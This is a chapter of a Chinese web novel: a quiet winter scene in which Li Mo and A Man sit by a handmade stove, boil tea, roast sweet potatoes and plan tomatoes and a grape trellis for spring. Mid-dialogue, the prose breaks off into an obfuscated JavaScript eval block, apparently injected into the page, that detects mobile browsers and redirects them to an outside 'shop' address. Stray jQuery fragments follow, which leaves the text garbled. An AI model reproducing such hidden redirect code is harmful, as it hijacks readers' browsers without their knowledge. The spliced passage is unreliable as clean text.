山里的冬天来得很急，像是有人在昨夜悄悄把整个世界的色温调低了。


    窗外的竹林挂了一层薄薄的霜，白得刺眼。那种冷是硬邦邦的，风撞在玻璃上，发出一种类似金属刮擦的脆响。


    但屋内是另一番光景。


    李默蹲在刚修好的壁炉前。这不是那种欧式别墅里的装饰品，而是他和阿满用红砖和耐火泥砌起来的土炉子，粗糙，并不规整，但胜在肚量大，吞吐有力。


    他手里拿着一根劈开的松木，断面渗出的油脂在火光下晶莹剔透。


    “啪。”


    木柴被扔进炉膛。火焰贪婪地舔舐上来，发出一连串欢快的噼啪声。那种声音是干燥的、爆裂的，每一声炸响都像是在空气中崩开一朵微小的热浪。


    李默不再是那个只会用打火机点烟、看着火星在阴暗中明明灭灭的看客了。


    他的脸上被烤得通红，手上沾着黑色的炭灰。他拿着火钳，拨弄着炉底的余烬，控制着火势的呼吸。这种掌控感让他觉得踏实——热量不是凭空产生的，是你投入了木头，它才回报你温暖。这是一种最原始、最公平的交易。


    “水开了没？”


    阿满的声音从厨房传过来，伴随着洗菜盆里的哗哗水声。


    “快了。”


    李默把一只铸铁壶架在炉顶上。壶里装的是山泉水，还有一把并不值钱的粗茶老梗。


    不一会儿，壶盖开始跳动。


    “咕嘟——咕嘟——”


    最初是闷响，像是深海里的气泡。紧接着，声音变得急促、高亢，变成了一种持续不断的沸腾声。白色的蒸汽从壶嘴里喷涌而出，在这个封闭的空间里横冲直撞，瞬间把窗户上的寒气晕染成了一层朦胧的水雾。


    这声音太吵了。


    但李默闭上眼，听着这壶水的咆哮。


    他觉得这声音像是一颗强有力的心脏，在房子的胸腔里剧烈跳动。它把那些名为“虚无”、“无聊”、“没有意义”的缝隙，统统填满了。


    阿满端着一盘洗好的红薯走了进来。她穿着一件臃肿的棉大衣，看起来像只笨拙的熊，但步子迈得很轻快。


    “烤几个？”她把红薯放在炉边的铁架上，“这可是隔壁王婶刚从地窖里刨出来的，甜着呢。”


    “都要。”李默说。


    阿满笑了一下，拉过一个小马扎，坐在他对面。


    两个人就这样围着炉子，看着壶嘴喷出的白气，看着红薯皮在热气中慢慢变皱、渗出糖油。


    空气里弥漫着松木燃烧的香气，混杂着煮茶的陈皮味，还有烤红薯那种霸道的焦甜味。这些气味是有密度的，它们沉甸甸地压下来，让人觉得安全，甚至让人觉得困倦。


    “哎，李默。”阿满突然用火钳敲了敲炉砖。


    “嗯？”


    “我在想，明年开春，院子西南角那块地空着也是空着。”她指了指窗外那片现在还是一片枯黄的土地，“我想种点番茄。要是还有空，再架个葡萄藤。”


    “番茄好。”李默拿起茶壶，给自己倒了一杯深褐色的茶汤，“要那种皮薄汁多的。”


    “那种不好伺候，得搭架子，还得防虫。”阿满认真地盘算着，“不过没事，到时候我去弄点竹竿。你也别闲着，葡萄架你得帮忙绑。”


    “行。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088230|195404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”李默答应得很干脆。


    若是以前，听到“明年”、“开春”这样的词，李默会下意识地回避。对于一个他这样的的人来说，未来是一个伪命题，只有当下的毁灭才是永恒的。


    但现在，他在谈论番茄。


    他在谈论一种需要播种、发芽、开花、结果，需要经历漫长几个月才能兑现的果实。


    他端起茶杯，滚烫的茶水顺着喉咙滑下去，那是实实在在的热度，一直熨帖到胃里。


    他看着阿满被火光照亮的侧脸。她正专注地给红薯翻面，眼神里没有那种千禧年末的迷离和惶恐，只有对食物熟度的精准判断。


    李默突然意识到，他不再漂浮了。


    他就在这里。在这个充满了烟火气、有点呛人、又暖得让人不想动弹的房间里。


    所谓的“时间”，不再是一条通向悬崖的传送带。


    它变成了炉子上那壶不断沸腾的水，变成了阿满口中正在规划的春天，变成了红薯皮上慢慢渗出的那一滴金黄色的糖浆。


    “想什么呢？快喝，茶凉了就苦了。”阿满催促道。


    李默笑了笑，喝干了杯子里的茶。


    “在想葡萄架。”他说，“我在想，用榫卯结构做个架子，应该能用很久。”


    “很久是多久？”


    “久到葡萄藤爬满整个架子，把太阳都遮住的时候。”


    炉子里的火苗猛地窜了一下，照亮了李默的眼睛。那里面没有倒影出的废墟，只有两簇跳动的、金色的光。


    他伸出手，又往炉子里添了一块柴。


    他开始确信，这火光能一直烧到明年春天。